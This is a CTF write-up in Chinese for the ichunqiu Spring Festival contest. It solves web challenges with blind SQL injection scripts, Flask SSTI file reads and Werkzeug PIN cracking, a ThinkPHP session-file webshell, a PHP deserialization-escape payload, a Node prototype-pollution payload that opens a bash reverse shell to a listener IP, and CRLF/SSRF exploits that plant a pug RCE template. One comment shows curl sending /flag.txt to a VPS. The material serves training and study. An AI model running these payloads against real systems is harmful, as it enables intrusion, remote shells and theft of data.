ichunqiu新春战疫赛-WriteUp

ichunqiu新春战疫赛-WriteUp

最近的几个公益赛确实办的不错,安全人员也都是很热爱祖国的♥,中国加油😠 武汉加油😠 大家加油😠

Web-简单的招聘系统

考察SQL注入

解题

测试发现登录的username处存在注入,万能密码就能登录

这个地方存在注入点,可以利用盲注爆库,这里利用的思路就是通过判断用户名的条件为true登录进行注入,当然还需要一个现有的用户来登录,那么我们注册个用户就行了,参考如下的脚本:

import requests

url = 'http://4b5b40858ffa4258bd74ee72c106522abdc060eb08674169.changame.ichunqiu.com/index.php'

# payload = "2' and (select (mid((select database()),1,{0})))!='{1}"
# payload = "2' and (select (mid((select table_name from information_schema.tables where table_schema='nzhaopin' limit 1 offset 3),1,{0})))!='{1}"
# payload = "2' and (select (mid((select column_name from information_schema.columns where table_name='flag' limit 1 offset 1),1,{0})))!='{1}"
payload = "2' and (select (mid((select flaaag from flag limit 1 offset 0),1,{0})))!='{1}"
# backup flag user flag: id flaaag
database = ''
letter = 'abcdefghijklmnopqrstuvwxyz0123456789_-{}'
for i in range(1, 80):
for n in letter:
data = {
"lname": payload.format(i, database + n),
"lpass": "xxx"
}
req = requests.post(url, data=data)
req.encoding = 'gbk'
# print(req.encoding)
print(data["lname"])
# print(req.text.encode('gbk').decode(req.apparent_encoding))
if "成功" not in req.text.encode('gbk').decode(req.apparent_encoding):
print("* " + n)
database += n
break

Web-ezupload

文件上传题

解题

本以为是一道拐弯的上传题,结果直接传上马了…
蚁剑连上,flag文件是空的,但是下面有个/readflag文件,开中断运行这个程序就能拿到flag。

Web-盲注

利用正则进行时间盲注

解题

题目已经说的很明显了,需要进行盲注,但是有waf,过滤了很多常用的注入语句,但是REGEXP并没有被ban,那么利用这个函数很简单地就能拿到flag。
REGEXP:在列值内进行匹配,如果被匹配的文本在列值中出现,REGEXP将会找到它,相应的行将被返回,REGEXP能匹配整个列值。并且REGEXP检查总是返回0(没有匹配)1(匹配)

import requests
import time

url = 'http://49682a5d648a44fe94ba09271ec5fbe569c33f63b1c6435b.changame.ichunqiu.com/?id='


flag = ''
letter = 'abcdefghijklmnopqrstuvwxyz0123456789{}-'
for i in range(99):
for n in letter:
payload = '1 and if((fl4g REGEXP "^{0}"),sleep(3),5);'
payload = payload.format(flag+n)
start_time = time.time()
req = requests.get(url+payload)
#print(req.text)
if (time.time() - start_time)>2:
print(flag)
flag += n
break

Web-blacklist

本题是[强网杯]随便注的改版,考察堆叠注入,这题get到注入新姿势,利用mysql数据库中HANDLER绕过黑名单拿flag。

解题

进入题目发现跟强网杯一样的输入框,首先就想到了堆叠注入,测试一下:

可以看到,语法成功执行了。
但是再去测试其他关键字的时候发现很多关键字被ban了:

本想着利用强网杯的方法,通过改表名来拿flag的,但是rename也被ban了,结合select又被ban,常规的姿势怕是不行,后来借用handler才拿到flag,payload如下:

1';handler FlagHere open;handler FlagHere read first;#


关于handler可以参考这里

Web-easysqli_copy

还是考察PDO、check()函数的绕过、实际盲注,不过这题也get到了新姿势:利用预处理语句进行堆叠注入,这也是采用了PDO之后注入的新趋势了。
扩展一下知识:

在php中,PDO有两种模式:模拟预编译非模拟预编译。默认为模拟预编译模式,即不是真正的预编译,而是采用PDO::quote()函数,首先将用户输入转化为字符型,之后将引号等敏感字符转义。这样在gbk编码下,即可通过宽字节注入绕过防护。
但是绕过PDO之后,依然很难绕过check()函数,于是此处利用到了PDO的第二个默认特性:支持多句执行,即可进行堆叠注入。

题目分析

进入题目给出了源码:

<?php 
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}

通过源码发现,这里利用了PDO接口进行与数据库的链接,其中prepare就是准备了一个预处理语句,$row->bindParam(1,$id);中的binParam作用是绑定一个参数到指定的变量名。
请教别的师傅了解到PDO中单引号可能是被自动过滤的,那就只好利用宽字节绕过:%df%27,源码里利用了预处理语句,注入的时候也就选择了利用预处理语句进行注入,同时结合16进制编码绕过对关键字的过滤。

解题

脚本如下:

import requests
import time


def main():
url = 'http://96e2f11ccc1147559b9e8c7c9991e494c4dd1d4ca36f4428.changame.ichunqiu.com/?id=1%df%27;'
payloads = "set @a=0x{0};prepare ctftest from @a; execute ctftest;"
flag = ''
letter = 'abcdefghijklmnopqrstuvwxyz0123456789{}-'
for m in range(1, 80):
print("前{0}位".format(m))
payload = "select if (ascii(mid((select fllllll4g from table1 ),{0},1))={1}, sleep(3), 1)" # 由于我们会转换为十六进制,所以不存在任何过滤,关键词随便使用
for n in letter:
# print(payload.format(m, n))
xxx = url + payloads.format(str_to_hex(payload.format(m, ord(n))))
# print(xxx)
times = time.time()
res = requests.post(xxx)
if time.time() - times >= 2:
flag += n
print(flag)
break

def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s]) # 字符串转换为16进制的函数


if __name__ == '__main__':
main()

Web-Easqli

考察盲注,这题也学到了新姿势:在union select被ban的情况下,进行多列数据的爆破。

题目分析

进入题目是一个大大的输入框,多次尝试发现输入1的时候回显Hello Nu1L,输入0的时候回显hello,后来测试了多个关键字,发现union select单用的时候没问题,联合起来使用怎么都绕不过,orand也被ban了,但是&&没被ban,这里有搞头,然后测了一下,语句为true回显也是hello Nu1L,就从这里下手了。
后来又发现information_schema也被ban了,这时候想到了之前一个题里讲过的:利用mysql系统库sys.schema_table_statistics_with_buffer或者sys.schema_auto_increment_columns获取到了表名,但是因为union select被ban,无列名注入也没法进行,这时候就用到了前面说的学到的新姿势了:利用id=2-(select (select 1,{0})>(select * from f1ag_1s_h3r3_hhhhh limit 1))"这样的语句使进行两列的对比,从而爆破出第二列(flag列)的内容。脚本如下:

解题脚本

import requests

url = 'http://ab8f8551f4dc43a4bc43854950cb1088190a260570ee455c.changame.ichunqiu.com/index.php'
headers = {"Content-Type": "application/x-www-form-urlencoded"}
# payload = "1 && mid((select database()),1,{0})='{1}'"
# payload = "1 && mid((select table_name from sys.schema_table_statistics_with_buffer where table_schema='ctf' limit 1 offset 1),1,{0})='{1}'"
# payload = "1 && mid((select column_name from sys.schema_auto_increment_columns where table_name='f1ag_1s_h3r3_hhhhh' limit 1),1,{0})='{1}'" #不可用,需要进行无列名查询
# payload = "1 && mid((select * from f1ag_1s_h3r3_hhhhh limit 1),1,{0})='{1}'" #不可用,因为有两列
database = ''
letter = '0123456789bcdehijkmnopqrstuvwxyz_-{}'
'''
for i in range(1, 80):
for n in letter:

data = {
"id": payload.format(i, database + n),
}
req = requests.post(url, data=data,headers=headers)
# print(req.text.encode('gbk').decode(req.apparent_encoding))
if "Hello Nu1L" in req.text:
print(n)
flag += n
print(database)
break
'''
flag=''
while 1:
for i in range(32,126):
a = chr(i).encode().hex()
payload = "id=2-(select (select 1,0x%s)>(select * from f1ag_1s_h3r3_hhhhh limit 1))"%(flag.encode().hex()+a) #创建两列数据去比较
#print("Test:"+chr(i))
html = requests.post(url=url,data=payload,headers=headers)
if "Hello Nu1L" in html.text:
flag += chr(i-1)
print("Find:"+flag)
break
if chr(i) == '}':
flag +='}'
break
print(flag)

Web-FlaskApp

考察SSTI

题目分析

进入题目发现是一个base64加密解密网站,直接考虑SSTI了。并且这个题跟另外一个利用Flask写的加密的题很像,便参考了那个题的解题思路:在开启DEBUG模式的情况下进行模板注入。
首先测试一下SSTI是否能用:先在加密页面对加密一下,然后到解密页解密,页面回显如下:

由此得知,确实是SSTI,同时还看到了开启了DEBUG模式。
那就利用那道题的解题思路去做吧。

解题

参考前面的链接我们知道,这道题可以通过计算出PIN来登录控制台,然后在控制台进行操作拿flag。但是生成PIN的脚本需要知道username(这个需要我们自己去找)、modname(一般是flask.app)、第三个值getattr(app, "__name__", app.__class__.__name__)(一般是Flask)、第四个值getattr(mod, "__file__", None)(在报错页面可以看到题目的环境)、第五个是str(uuid.getnode())的值,最后是机器码。
报错页面回显如下:

获取username

可以在/etc/passwd中读取到用户名,这里由于题目环境是Python3的,因此读文件需要用如下payload:

{{ ''.__class__.__mro__[1].__subclasses__()[103].__init__.__globals__['open']('/etc/passwd').read() }}

如果环境是Python2,payload可以构造为:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

跟前面的操作一样,先编码,再去解码引发SSTI,回显如下:

我们看到可以用户名flaskweb,应该就是它了。

modename以及第三个、第四个已经知道了,直接去找str(uuid.getnode())的值。

获取str(uuid.getnode())

构造payload:

{{ ''.__class__.__mro__[1].__subclasses__()[103].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

按照同样的方法进行注入,得到回显如下:

然后到进制转换网站转换为十进制。

获取机器码

构造payload:

{{ ''.__class__.__mro__[1].__subclasses__()[103].__init__.__globals__['open']('/proc/self/cgroup').read()}}

回显如下:

第一项/docker/后面的字符串即为我们要找的机器码。
至此,拿到了生成PIN的所有的要素了,利用下面的脚本生成PIN

import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377957890',# str(uuid.getnode()), /sys/class/net/ens33/address
'3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

然后到题目的链接后面加上/console进入控制面板,输入PIN,获取权限:

然后就可以随意输入读取文件拿flag了(注意列举文件的时候也可以直接列举根目录的ls /):

Web-easy_thinking

考察ThinkPHP6.0存在的通过SESSION写文件的漏洞,同时也考察了对disable_functions的绕过。
这一道题比赛的时候知道考察点是SESSION漏洞了,但是由于时间原因当时没有做出来,后来经smity师傅提示,结合getfly师傅的题解,对这道题加深了理解和学习。在BUU上复现了一下。

题目分析

由于环境是ThinkPHP6.0,网上查了一下,找到了相关的漏洞文章:
https://blog.csdn.net/god_zzZ/article/details/104275241
https://paper.seebug.org/1114/#_1
就是通过利用SESSION向服务器写入文件,从而拿到shell。

既然是通过SESSION写入文件,我们就需要找到存在SESSION写入的位置,在Member控制器中发现如下代码:

if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}

可以看到,在search方法中可以进行任意SESSION写入,在这个地方我们就可以写入构造好的内容来生成shell,但是首先就需要满足第一个判断,即需要一个现有的SESSION文件并且包含UID字段,下面就需要找到将UID写入SESSION的地方。
Member控制器的login方法中找到如下代码:

if ($userId){
session("UID",$userId);
return redirect("/home/member/index");
}

UID写入SESSION的操作是在判断用户名和密码正确之后的,那么我们就需要先注册一个合法的用户进行登录。

捋一下整个的思路:

  • 1、注册一个合法账户
  • 2、利用注册的账户登录时更改SESSION字段的值为xxx.php,并且刚好是32个字符
  • 3、利用相同的SESSION在搜索的时候写入一句话
  • 4、在/runtime/session文件夹下测试一句话,注意是sess_开头的

参考getfly师傅的脚本:

import requests
url_reg = 'http://ebeb2d63-1ffd-4543-bf4d-07d0a35b9931.node3.buuoj.cn/home/member/register'
url_log = 'http://ebeb2d63-1ffd-4543-bf4d-07d0a35b9931.node3.buuoj.cn/home/member/login'
url_sea = 'http://ebeb2d63-1ffd-4543-bf4d-07d0a35b9931.node3.buuoj.cn/home/member/search'
headers = { 'Cookie':'PHPSESSID=1234567890123456789012345678.php' }
data1 = {'username':'ggb0n', 'password':'123456'}
data2 = {'key':'<?php @eval($_POST["x"]);echo "not flag"; ?>'}
s1 = requests.post(url_reg, data1)
s2 = requests.post(url_log, data1, headers=headers)
s3 = requests.post(url_sea, data2, headers=headers)
test = 'http://ebeb2d63-1ffd-4543-bf4d-07d0a35b9931.node3.buuoj.cn/runtime/session/sess_1234567890123456789012345678.php'
s = requests.get(test).text
if 'not flag' in s:
print('success')
else:
print('failed')

蚁剑连接小马之后在终端运行/readflag是没用的,利用phpinfo()发现是因为disable_functionssystem给ban掉了:

那就需要绕过限制,smity师傅比赛的时候就提醒需要用php_gc_uaf.php来绕过disable_functhions,一些绕过方法参考这里
php_gc_uaf.php传到一个777权限的文件夹下,然后在浏览器端访问该文件即可拿到flag。

【补充】这个exp不用777权限的文件夹就能执行,web目录即可。高校战“疫”中的PHP-UAF就是用的这个。

babyPHP

考察反序列化逃逸漏洞,这个之前在BUU上刷了一道类似的题目,不过更加复杂,比赛的时候没做出来,看了WP记录学习一下。

题目分析

扫描后台可以发现存在源码www.zip,下载后是四个php文件,我们主要分析与拿flag相关的代码。
首先从update.php中发现:

if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

可以发现,登陆成功之后就可以拿到flag了。

然后审计关键文件lib.php,在其中发现如下代码:

function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

看到这里,就想到了之前在BUU上刷的[0CTF 2016]piapiapia,那道题考察的就是反序列化溢出漏洞,这也就是分析的关键了。
再往下看,在UpdateHelper类中有一个反序列化点:

Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}

但是从代码中可以看到,此处用户可控的只有Info类中的两个属性agenickname,不能完全控制序列化数据,无法注入对象。
跟进User类中的反序列化点:

public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}

可以发现,反序列化的是getNewinfo()方法获取的内容,再来看一下getNewinfo()

public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

可以看到,对Info类的内容序列化之后,会先经过前面提到的safe()函数处理,然后才进行反序列化。
这里就是构造反序列化逃逸的地方:通过写入黑名单中的字符\字符串,在经过safe()函数处理的时候会替换为hacker,从而改变了长度,但是序列化的字符串,每一个属性的内容长度都是固定的,从而就可以利用替换关系构造出逃逸,然后注入对象。

整理一下构造pop链的思路:

利用UpdateHelper__destruct触发User__toString然后走到Info__call方法,在__call中调用了dbCtrl类的login方法,通过控制查询语句,把admin账户的密码查出来。

官方POC如下:

<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
}
class Info
{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
}
class UpdateHelper
{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name='admin';
public $password;
public $mysqli;
public $token;
}
$d = new dbCtrl();
$d->token='admin';
$b = new Info('','1');
$b->CtrlCase=$d;
$a = new user();
$a->nickname=$b;
$a->age="select password,id from user where username=?";
$c=new UpdateHelper();
$c->sql=$a;
echo serialize($c);

?>

运行结果如下

O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}

我们的目的是逃逸字符,因此需要保证payload进入之后能保证序列化字符串能够正常反序列化,正常的序列化字符串结构如下:

O:4:"Info":3:{s:3:"age";s:5:"ggb0n";s:8:"nickname";s:7:"ggb0n";s:8:"CtrlCase";N;}

其中的agenickname是我们可控的,那么我们就可以把payload写入到nickname部分,然后通过将payload挤出去进行逃逸,由于属性是三个,所以我们在nickname中写入的payload前面加一个CtrlCase的属性,在最后加一个},如此以来,反序列化的时候就会忽略后面的CtrlCase,初步构造payload如下:

";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

下一步我们就需要把payload逃逸出去:由于payload一共454个字符,因此,我们需要构造黑名单中的内容,通过替换为hacker把payload挤出去,通过safe()函数我们可以知道,一个'替换为hacker可以替换挤出5个字符,一个union替换为hacker可以挤出1个字符,那么在payload前面加上90个'和4个union就可以把454个字符的payload挤出去了,构造最终payload如下:

age=&nickname=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

通过POST方式,将payload打入update.php即可拿到经过md5加密之后的password,解密即可。
本道题是在BUU复现的,密码已经被改为了glzjin了,登录即可拿flag。

补充:smity师傅给了一个很详细的题解,可以好好学学这题:这里

Ez_Express

考察JS原型链污染,JS之前没学过,在BUU上复现的过程中慢慢学了一些,关于JS原型链的污染参考P神的文章

题目分析

进入题目,可以看到一些提示:

要求我们必须以ADMIN登录,但是这个用户又注册不了…

dirsearch扫后台可以发现www.zip的存在,把源码拿下来,看看其中的玄机。

index.js中的login路由下发现突破点:

if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}

可以看到,在注册的时候存在toUpperCase()的使用,这个函数是存在可利用的漏洞的,即利用特殊字符进行绕过:

toUpperCase():
ı ==> I
ſ ==> S

另外JS中的toLowerCase()函数也存在对特殊字符的不规范处理:

toLowerCase():
İ ==> i
K ==> k

根据如上特性,我们可以利用admın身份进行注册,经过toUpperCase()处理便成了ADMIN从而成功登录:

可以看到,提示了flag的位置,应该就需要RCE来进行读取了。

再审代码,发现index.js中存在mergeclone,根据在前面提到的P神的文章中的学习,猜测应该是JS原型链污染:

const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}

进一步在action路由下发现了clone的使用:

router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
})

是将req请求中的内容拼接到session的过程,显然,req.body是我们可控的,是考察原型链污染没错了。

action路由是啥时候访问的呢?其实就是提交输入的地方:

解题

但是怎么才能实现原型链的污染呢?看到info路由下出现了outputFunctionName,参考另一篇文章,讲了利用outputFunctionName进行污染的方式,payload如下:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var __tmp2"}}

大致含义就是:

利用对象的__proto__属性,向类的原型对象prototype中写入一个新的属性和属性值,即outputFunctionName和对应的值,如此以来,该类就存在了这个属性,实例化的时候也会继承,因此当我们再去访问info路由的时候res.outputFunctionName的值已经是我们写入的payload中的RCE部分的内容了,从而即可在VPS上反弹shell。

由于是在BUU上复现的,开一台内网主机,拿到ip之后构造payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/174.1.33.241/8899 0>&1\"');var __tmp2"}}

同时在该内网主机上进行监听,在访问action路由的时候抓包更改Content-Typeapplication/json,并将我们如上构造的payload写入:

前面就污染了原型链了,然后访问info路由进行命令的执行:

从而拿到shell:

然后就可以随便读取文件,拿到flag了。

有关JS的题目其实没怎么做过,因为还没有专门学过JS,但是JS确实越来用的越多,题也不少,很有学的必要。

Node Game

又是一道JS的题,考察CRLF注入、SSRF

CRLF注入参考这里

CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以又称为HTTP响应拆分漏洞(HTTP Response Splitting)。

题目分析

进入题目即可拿到源码:

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug'); //
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
var action = req.query.action?req.query.action:"index";
if( action.includes("/") || action.includes("\\") ){
res.send("Errrrr, You have been Blocked");
}
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
});

//SSRF
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
console.log(url)
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}

}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true
}
}
}

var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})

分析代码得知几个路由的用处:

1、 /:会包含/template目录下的一个pug模板文件来用pub进行渲染;

2、/source:回显源码;

3、/file_upload:限制了只能由IP为127.0.0.1进行文件上传,并且我们可以通过控制MIME进行目录穿越,从而将文件上传到任意目录;

4、/core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过。

但是/core路由下不能直接SSRF,而是需要利用Node js的编码安全问题(参考这里),对编码精心构造进行CRLF注入从而来进行SSRF,那么解题思路就明确了:

  • 1、利用CRLF注入进行SSRF
  • 2、利用SSRF伪造本地IP进行文件上传
  • 3、上传包含命令执行代码的pug文件到/template目录
  • 4、利用action参数包含文件,执行命令

解题

参考上面文章可知,我们可以构造为\u010D\u010A来替换换行\r\n(%0D%0A),其他的一些特殊字符也如此构造,如空格(%20)构造编码为\u0120+(%2B)构造编码构造为\u012B

根据这个方式,构造拆分请求从而进行SSRF,参考网上师傅的exp:

import requests

payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt

{}""".replace('\n', '\r\n')

body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="ggb0n.pug"
Content-Type: ../template

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--

""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/'

requests.get(
'http://5a1643b9-eac5-48ba-92b3-36516bcde120.node3.buuoj.cn/core?q=' + payload)

print(requests.get(
'http://5a1643b9-eac5-48ba-92b3-36516bcde120.node3.buuoj.cn/?action=ggb0n').text)

出题师傅的exp具有更高的灵活性:

import requests
import sys

payloadRaw = """x HTTP/1.1

POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1

-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug"
Content-Type: ../template

- global.process.mainModule.require('child_process').execSync('evalcmd')
-----------------------------12837266501973088788260782942--


"""

def getParm(payload):
payload = payload.replace(" ","%C4%A0")
payload = payload.replace("\n","%C4%8D%C4%8A")
payload = payload.replace("\"","%C4%A2")
payload = payload.replace("'","%C4%A7")
payload = payload.replace("`","%C5%A0")
payload = payload.replace("!","%C4%A1")

payload = payload.replace("+","%2B")
payload = payload.replace(";","%3B")
payload = payload.replace("&","%26")

# Bypass Waf
payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")

return payload

def run(url,cmd):
payloadC = payloadRaw.replace("evalcmd",cmd)
urlC = url+"/core?q="+getParm(payloadC)
requests.get(urlC)

requests.get(url+"/?action=5am3_get_flag").text

if __name__ == '__main__':
targetUrl = sys.argv[1]
cmd = sys.argv[2]
print run(targetUrl,cmd)

# python exp.py http://127.0.0.1:8081 "curl vps-ip:port -X POST -d `cat /flag.txt`"

同志仍需努力啊!

参考:
https://blog.csdn.net/qq_42181428/article/details/104474414?fps=1&locationNum=2
https://blog.5am3.com/2020/02/11/ctf-node1/#%E8%87%AA%E5%B7%B1%E5%87%BA%E7%9A%84-node-game

Crypto-Easy_RSA

考察共模攻击

解题

给的附件内容如下:

